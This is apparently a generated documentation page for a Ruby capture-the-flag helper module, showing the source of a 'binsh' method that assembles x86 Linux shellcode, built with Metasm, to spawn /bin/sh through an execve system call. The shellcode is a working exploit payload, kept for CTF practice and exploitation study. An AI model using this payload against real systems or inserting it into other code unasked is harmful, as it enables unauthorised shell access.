Module: CTF::Shellcode::X86

Defined in:
lib/ctf/shellcode.rb

Class Method Summary collapse

Class Method Details

.binshObject



5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# File 'lib/ctf/shellcode.rb', line 5

def binsh
  shellcode = <<EOS
  xor eax, eax
  push eax
  push #{"n/sh".unpack("I")[0]}
  push #{"//bi".unpack("I")[0]}
  mov ebx, esp
  push eax
  pop ecx
  push eax
  pop edx
  mov al, 0xc
  dec al
  int 0x80
EOS
  Metasm::Shellcode.assemble(Metasm::Ia32.new, shellcode).encode_string
end